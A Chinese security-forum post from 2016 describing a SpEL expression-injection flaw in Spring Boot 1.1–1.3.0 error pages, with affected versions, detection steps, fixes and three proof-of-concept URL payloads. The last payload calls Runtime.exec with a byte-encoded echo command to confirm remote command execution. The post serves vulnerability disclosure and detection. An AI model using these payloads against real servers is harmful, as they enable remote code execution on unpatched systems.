搜索
查看: 432|回复: 0

Spring Boot SPEL(REC)

[复制链接]

26

主题

29

帖子

147

积分

我是新手

Rank: 1

积分
147
发表于 2016-7-15 14:30:01 | 显示全部楼层 |阅读模式
CVE漏洞编号:无

影响版本:Spring Boot 1.1 1.2 - Spring Boot 1.3.0

判断方法:满足下述2个条件,则存在漏洞:
1. Spring Boot 1.1 1.2 - Spring Boot 1.3.0
2. 没有对异常进行自定义处理

检测方法:
由于与程序使用着的编写习惯有关系,所以进行自检,查询方法如下:
1.检查Spring Boot版本是否在漏洞影响范围之内
2.如果1中成立,检查用户是否添加异常自定义处理机制


修复方法:
方法1:全局添加异常处理页面
方法2:升级Spring Boot版本至1.3.1或以上版本


官方链接:http://projects.spring.io/spring-boot/



POC:

  注. 对每个参数进行检测,直接替换参数的值即可

  1.判断是否存在表达式注入,${123456000%2b123456000%2b123456000},返回页面查询370368000

  2.判断是否存在执行java语句,${new%20java.lang.String(new%20byte[]{97,98,99,100,101,102,103,103,102,101,100,99,98,97})},返回页面查询abcdefggfedcba

  3.判断是否存在系统命令执行,${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new%20java.lang.String(new%20byte[]{101, 99, 104, 111, 32, 45, 101, 32, 34, 115, 116, 97, 114, 116, 49, 50, 51, 52, 53, 54, 55, 56, 57, 92, 110, 49, 50, 51, 52, 53, 54, 55, 56, 57, 92, 110, 101, 110, 100, 49, 50, 51, 52, 53, 54, 55, 56, 57, 34})).getInputStream())},返回进行正则匹配'start123456789\s*(?P<cmdinfo>.*?)\s*end123456789',正则cmdinfo匹配出来的是123456789,则存在

  对于python插件来说:

      第一步:存在表达式注入
      第二步:存在java代码注入
      第三部:存在远程命令执行

[url=http://static.wooyun.org/upload/image/201607/2016071310394044468.jpg][/url]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表